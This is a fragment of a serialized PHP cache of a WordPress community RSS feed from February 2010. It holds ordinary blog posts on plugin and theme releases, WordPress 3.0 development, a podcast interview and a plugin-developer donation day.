Hikari Email & URL Obfuscator

\n

Hikari Email & URL Obfuscator plugin obfuscates emails and URL links, to hide them from spam harvesters and Search Endigne crawlers. It uses ROT13 or cc8b to encode each link while PHP is building the page, then uses JavaScript to decode it and show it to the user. If JavaScript is not available, it uses CSS to hide them.

\n

Rico Tabbed Menu

\n

This is a simple plugin to create a tabbed menu in a post using Rico Ajax.

\n

FAQ You

\n

A simple FAQ plugin where you can create Categories and put Questions in them. You can easily insert them in a page with the WYSIWYG editor. Able to turn JavaScript on or off.

\n

WP Google-buzz

\n

Google Buzz. Beautiful Google buzz integration to wordpress + admin panel options (Settings -> WP Google-buzz) + 14 diff button images + mouse over effects.

\n

NextGEN Gallery

\n

NextGEN Gallery is a full integrated Image Gallery plugin for WordPress with a Flash slideshow option.

\n

Simple:Press Forum

\n

Simple:Press is a feature rich forum plugin for WordPress. It fully integrates into your WP based site utilising the same user records and database and displaying on a single WP page.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 25 Feb 2010 18:00:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:40;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:54:"Dougal Campbell: Dougal on WordPress Community Podcast";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:33:"http://dougal.gunters.org/?p=2019";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:134:"http://dougal.gunters.org/blog/2010/02/23/dougal-on-wordpress-community-podcast?utm_source=rss&utm_medium=rss&utm_campaign=rss";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2075:"

I was the guest tonight on the WordPress Community Podcast, hosted by Joost de Valk and Frederick Townes. We talked about upcoming features in WordPress 3.0, my past work as a WordPress core developer, my WordPress plugins, microformats, and a smattering of other topics. My interview should be up later tonight.

\n

Joost and Frederick do a great job with the interviews, so if you haven’t already, you should subscribe to the WordPress Community Podcast and give it a listen!

\n

UPDATE 9:30 p.m. EST: The show notes are up now!

\n\n\n

Related posts:

  1. How to podcast with an iPhone
  2. \n
  3. Easy Gravatars with Google Analytics Plugin
  4. \n
  5. XCache Object Cache Plugin for WordPress 2.5+
  6. \n

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 23:52:42 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:6:"Dougal";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:41;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:83:"WordPress Podcast: Fireside Chat with Dougal Campbell, An Early WordPress Developer";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:63:"http://www2.webmasterradio.fm/wordpress-community-podcast/?p=25";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"http://feedproxy.google.com/~r/wordpresspodcast/~3/7ahLSHpGRGA/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2418:"

Joost and Frederick talk to Dougal Campbell, one of the original WordPress developers. They discuss various topics: from differences between WordPress and Drupal, and how they handle automatic testing and custom data types (for which WordPress has the upcoming custom post types and the pods plugin), to donations (or lack thereof) for plugins. They go in-depth about microformats and RDFa and how you could use the custom field functionality in WordPress (which Dougal wrote) to make use of those. Last but not least, WordPress 3 comes around the corner a couple of times, discussing all the cool new features in it (like author specific templates and background support) and what should and should not be in core, like multi site and multi domain settings.

\n

In this weeks news:
\nUpcoming WordCamps
\nThe Awesome Custom Woo Navigation
\nNew: Online Backup For Wordpress
\nUpdated: Exploit Scanner 0.95
\nGravityForms Now With Freshbooks
\nPlugin Repository Now Supports Videos
\nDonate To Plugin Developers Day – March 1st
\nWP.com Downtime Summary

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 23:29:40 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:54:"joost@pressthis.com (Joost de Valk & Frederick Townes)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:42;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:47:"Dev Blog: Menus, the Merge, and a Patch Sprint!";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1201";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/development/2010/02/menus-merge-patch-sprint/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4264:"

A Report from the 3.0 Development Cycle

\n

Menus

\n

There’s been a flurry of blog posts about the integration of the WooThemes Custom Navigation into WordPress core, so I thought it was time we posted the official word. For 3.0, the main user-facing feature we wanted to include was a better site menu management system. Currently, dealing with menus is clunky, using Page IDs or in some cases categories, if a theme uses categories instead of pages for the menu. We wanted a menu system that had the drag and drop ease of the widget management screen, could combine Pages, Categories, and Links, was able to be re-ordered, allowed submenus, and enabled hiding specific Pages or Categories from the menu altogether. We were in the process of building this when WooThemes introduced their Custom Navigation system. Watching their introductory video, it seemed that their system did pretty much everything we wanted to do for core, so we reached out to them about contributing to core.

\n

As you’ve probably heard, it worked out, and the first patch has been submitted. It does require some code modification, which is happening now. The decision to incorporate the Woo menus happened right before our planned feature freeze for the 3.0 development cycle, so we pushed our freeze date back by two weeks to allow the addition. We’re now targeting the 3.0 release for early May, and we think it will be worth the extra two-week wait.

\n

I’m personally really happy that it worked out this way, because I think it will show commercial theme and plugin authors that contributing to core is a win-win proposition. More people can contribute to and improve the basic functional code now, while WooThemes can continue to innovate on top of it for their customers. They get massive bragging rights (which I have no doubt will lead to even more customers), core gets a nice menu system without having to reinvent the wheel, and WordPress users all over the world will benefit. I’m hoping other plugin and theme developers will take a cue from Woo and look at core as a place for collaboration, rather than competition.

\n

The Merge

\n

It was announced at WordCamp San Francisco last year that WordPress and WordPress MU would be merging codebases. This has now happened in 3.0-alpha, and we’re working on smashing bugs and tidying up a few screens. If you’re currently using a single install of WordPress, when you upgrade to 3.0 you won’t see any of the extra screens associated with running a network of sites. If you’re currently running MU, when you upgrade you’ll notice a few labels changing, but upgrading should be as painless as usual. If you’re going to set up a new WordPress installation, you’ll be asked as part of the setup if you want one site or multiple sites, so that’s pretty simple. If you want to turn your single install into one that supports multiple sites, we’ll have a tool for you to use to do that, too. So if you’ve been worried about the merge, have a cup of chamomile tea and relax; it will all be fine. :)

\n

Patch Sprint!

\n

Okay, so where are we now? The new feature freeze date is on Monday, March 1, 2010. That means that after that date, no more enhancements or features will be added, and we’ll switch gears to focus solely on crushing bugs and fixing up the features that have already made it in. That means we only have a week to try and finish up the many Trac tickets on the 3.0 milestone that either need a patch or have a patch that needs testing. You can help! From now until noon eastern time on March 1 (that’s 17:00 UTC on March 1), head on over to Trac and pitch in. If you hit a wall, hop into the core development channel at #wordpress-dev on irc.freenode.net and hopefully one of the friendly core contributors can give you a push.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 19:56:10 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:43;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:59:"Weblog Tools Collection: WordPress Theme Releases for 02/23";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7795";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:87:"http://weblogtoolscollection.com/archives/2010/02/23/wordpress-theme-releases-for-0223/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2098:"

Presenter

\n

Presenter

\n

Presenter is a child theme for the Hybrid theme framework. Presenter gives you a quick way to show your portfolio or services with few elements and easy customization from the back-end.

\n

Neat Theme

\n

Neat Theme

\n

Two column, gravatar ready theme with a featured section and theme options. Widget Ready, with four position widget.

\n

42k

\n

42k

\n

All major components are user changeable, be that colors, sizes or layouts.The theme works perfectly out of the box, or you can change things around to suit your needs via the extremely easy to use huge admin control panel with its built in admin area inline previews. The theme comes loaded with 4 widget areas, dedicated Favicon, 4 different front page layouts, user defined error messages, dedicated tag cloud area, 2 advert areas and a free background PSD is available to download to allow you to change the look completely.

\n

Acosmin5

\n

Acosmin5

\n

Simple two column theme available in five colour schemes, with a simple control panel and jQuery tabs system.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 19:42:51 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:44;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:25:"Matt: Thunderbird in 2010";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33710";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:41:"http://ma.tt/2010/02/thunderbird-in-2010/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:259:"

Thunderbird in 2010 by project lead David Ascher, who I met with a few days ago. I’m sticking with Thunderbird for this year, just hoping for some kick-butt Gravatar integration.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 19:42:15 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:45;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:66:"Weblog Tools Collection: WordPress Plugin Developer Day, March 1st";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7785";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:94:"http://weblogtoolscollection.com/archives/2010/02/23/wordpress-plugin-developer-day-march-1st/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2615:"

About a month ago I was augmenting a client site with some added functionality that, while technically out of scope, I was able to add quickly thanks to a plugin. For whatever reason on this particular instance, I was really struck by how much value I was able to add to a client site thanks to that  plugin. There was relatively little effort on my part to make the client happy due to a significant level of effort by the developer that built the plugin. Regardless, it didn’t cost me, or my client anything more than a little time.

\n

Because I realized how much more I’ve been able to do with almost every site I’ve built in the last two years thanks to plugins, I decided to try to start a movement, not out of guilt or self interest, as I have never released a plugin, but rather out of gratitude to the plugin developers who give us their code and in most instances get nothing in return. They do so of their own free will and (in my opinion) should not “expect” anything in return when they do (and most of them don’t), but that doesn’t mean that our thanks aren’t appreciated and won’t go a log way toward keeping things going, to our benefit and theirs.

\n

So I’m asking anyone that has ever gotten even the slightest benefit from a WordPress plugin to say thank you on March 1st by making a small donation, $5 (more if you like) to the plugin/developer of your choice.

\n

I’ve personally committed to $100 to 20 different developers.  If you have little extra money in your Paypal account, or can simply find a way to reach out and say thank you I’m confident it will be appreciated.

\n

Almost as importantly, we need your help spreading the word! Help us to do so by blogging about it, tweeting it or promoting the idea anyway you can think of.

\n

This isn’t intended to make anyone rich. It’s simply intended to say thank you and celebrate the often unsung friends who enable our websites to do so much more than just be blogs.

\n

Twitter Hastag: #wppdd

\n

If you choose to make a donation on March 1st be sure to tweet it and let us know what plugin you donated to help spread the word, I’ve got some suggested language on my original post about WordPress Plugin Developer Day.

\n

Hopefully this will make you feel as good as it does me, they deserve our gratitude.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 13:26:02 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Scott Ellis";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:46;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:56:"WordPress.tv: The Technical Support Plugin for WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"http://wordpress.tv/?p=3406";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"http://wordpress.tv/2010/02/23/the-technical-support-plugin-for-wordpress/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1396:"
\n\n
\n
The Tech Support Plugin for WordPress
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 04:47:43 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"Ryan Markel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:47;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"Lloyd: WordPress 3 Coming Together";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:30:"http://foolswisdom.com/?p=2344";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:51:"http://foolswisdom.com/wordpress-3-coming-together/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2370:"

The delirious pace of WordPress 3 development has been delicious!

\n

I’ve enjoyed not being able to keep up at all.

\n

The sprint is on to feature freeze!

\n

There’s going to be a patch sprint of sorts for 3.0 this week. Please grab a ticket, triage, patch or test:http://core.trac.wordpress.org/report/32. The feature freeze is March 1, so everything still on that report in 7 days from now will be punted to a future release.

\n

There are a few incomplete tasks out there that need to get done to finish implementing new features (both small ones on that report, and the major 3.0 features). If you’re interested in helping but aren’t sure where you can, venture over to #wordpress-dev.

\n

Andrew Nacin on wpdevel, Feb 22th, 2010

\n

Jane Wells puts up a “Patches Welcome” sign on a “a handful of small UI enhancement tickets that are low priority for the hardcore devs, but that I’d still like to see make it into 3.0.” Jane will “try to post a couple of pet tickets each day throughout the sprint week that is coming up.”

\n

Better, stronger, faster blog network creation and management will be huge!

\n

Mostly I can’t wait for the twenty ten theme, and the slow death of the (poorly) justified text that may have been the Kubrick themes only shortcoming.

\n

PS. Emphasis above and below (bold) is all mine.

\n

PPS. WordPress 3 will look so good in the title of the next technical book you write ;-)

\n

Wednesday, Feb 23, 2010 Update: Jane has posted “Menus, the Merge, and a Patch Sprint!“ with details on the WordPress Development Blog, including the tidbit that WordPress 3 will have much improved menu management.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Feb 2010 00:33:40 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:5:"Lloyd";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:48;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:48:"Donncha: Remove unused utm_source from your urls";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:29:"http://ocaoimh.ie/?p=89495693";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:47:"http://ocaoimh.ie/remove-unused-utmsource-urls/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2587:"

Sometime last year I noticed that links to my blog on Feedburner had attracted a few extra parameters. A simple link to a post became this huge monstrosity:

\n

http://ocaoimh.ie/exploit-scanner-095/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+HolyShmoly+(Holy+Shmoly!)&
\nutm_content=Google+Reader

\n

It’s a marketing thing right? It’s all useful information but I don’t really care about it, have never used it and don’t like my URLs getting mangled. It annoys me for two reasons:

\n\n

So I added a new option to Supercache to redirect the url and get rid of the utm_source bloat.

\n
\n

If you want to give it a go, grab the development version of the plugin and upgrade.

\n

Oh, and if someone has decent docs on utm_source and it’s friends I’d love to read it. Google didn’t return much when I went looking.

\n

Related Posts

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 22 Feb 2010 13:36:50 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Donncha";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:49;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"Weblog Tools Collection: WordPress Plugin Releases for 02/21";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7783";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"http://weblogtoolscollection.com/archives/2010/02/21/wordpress-plugin-releases-for-0221/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4583:"

New Plugins

\n

Mloovi Translate Widget

\n

The Mloovi widget allows you to easily add links to 52 different language versions of your blog and RSS feeds.

\n

Online Backup

\n

The plugin allows online backup as well as email backups both on demand and scheduled. Put your backups on auto pilot with 50 MiB of free space and encryption. Save time and protect your blog from lost info. You will need to register for a free account.

\n

WP Comment Pages

\n

Your users can link directly to an interesting comment, instead of the whole article.

\n

InvestorGuide.com Stock Ticker Link

\n

This plugin automatically looks for ticker symbols like (AAPL) or (GOOG) and link the tickers to research pages at InvestorGuide.com

\n

WordPress Exploit Scanner

\n

This plugin searches the files on your website, and the posts and comments tables of your database for anything suspicious. It also examines your list of active plugins for unusual filenames.

\n

Updated Plugins

\n

WP Archive-Sitemap Generator

\n

WP Archive-Sitemap Generator plugin generates simple Archives/Sitemap based on your blogs posts and pages. This is not another XML sitemap plugin, but rather a nice post sitemap or page sitemap generator. Now user can show total comments count after posts.

\n

Top 10

\n

WordPress doesn’t count page views by default. Top 10 will count the number of page views on your single posts on a daily as well as overall basis. You can then display the page view count on individual posts and pages as well as display a list of most popular posts based on page views.

\n

Contextual Related Posts

\n

Display a list of contextually related posts for the current post. You can select the number of posts to display and if you want to automatically display the related posts in your content / feed.

\n

Twitter Goodies

\n

Twitter style Twitter Goodies Profile Widget + Twitter Goodies Search Widget + Twitter Integration (wp to twitter) plugin. All in One plugin for Twitter Goodies

\n

Grooveshark for WordPress

\n

The Grooveshark plugin is a Wordpress plugin that allows you to insert a link to music on Grooveshark or a Grooveshark Widget that allows visitors to play music as they view your blog.

\n

WatchCount.com

\n

The WatchCount.com WordPress Plugin (WCCWPPI) is a plugin that allows you to display Most Popular eBay items and auctions in real-time, directly on your blog. You can also display eBay items from any particular seller.

\n

Front-end Editor

\n

A WordPress plugin that enables “edit in place” functionality on your site. Version 1.7 adds support for changing post thumbnails, as well as editing site options.

\n

TagSpace

\n

The TagSpace widget lets visitors browse your Wordpress categories dynamically in 3D! Clicking the mouse on the lower half of the screen to move forward.

\n

WP Google-Buzz

\n

Google Buzz. Beautiful Google buzz integration to wordpress + admin panel options (Settings -> WP Google-buzz) + 11 diff button images + mouse over effects.

\n

All in One Webmaster

\n

It has option to add Google, Bing, Yahoo’s Webmaster and Analytics code. Single click sitemap submission to Google, Bing, Yahoo and Ask. In addition to that it has option to add tracking code for Clicky, 103Bees analytics!! Site-Verification-Option, Google XML sitemap submission

